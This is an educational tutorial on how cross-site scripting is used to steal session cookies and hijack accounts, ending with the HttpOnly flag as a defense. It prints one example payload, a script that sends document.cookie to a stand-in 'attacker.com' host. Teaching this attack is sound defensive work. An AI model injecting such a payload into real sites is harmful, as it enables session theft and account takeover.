Cookie Theft and Session Hijacking via XSS
What you'll learn: How attackers exploit XSS vulnerabilities to steal session cookies and take over user accounts.
The Core Attack
Once an attacker finds an XSS vulnerability (reflected, stored, or DOM-based), they can inject malicious JavaScript that steals sensitive data stored in the victim's browser—most commonly session cookies. These cookies often contain authentication tokens that prove you're logged in. If an attacker steals your session cookie, they can impersonate you without needing your password.
Think of it like this: your session cookie is like a movie theater ticket stub. The theater (website) doesn't ask for your ID again—they just check your stub. If someone steals your stub, they can walk right in as you.
How It Works
An attacker injects JavaScript that accesses document.cookie, which contains all cookies for the current domain (unless protected). They then send this data to their own server:
Example malicious payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
When a victim triggers this XSS (by viewing a page with stored XSS or clicking a reflected XSS link), their browser executes the script, extracts the cookies, and sends them to the attacker. The attacker then uses these cookies in their own browser to hijack the active session.
Why This Is Devastating
- Account takeover: Full access to the victim's account
- No password needed: Bypasses authentication entirely
- Persistent access: Works until the session expires or user logs out
- Credential theft: Can access sensitive user data, settings, messages
The HttpOnly Defense
Modern applications set cookies with the HttpOnly flag, which prevents JavaScript from accessing them—but many legacy systems and incorrectly configured applications still don't use this protection.
Key Takeaway: XSS transforms from a nuisance into a critical vulnerability when it enables cookie theft, allowing attackers to completely hijack authenticated user sessions and take over accounts.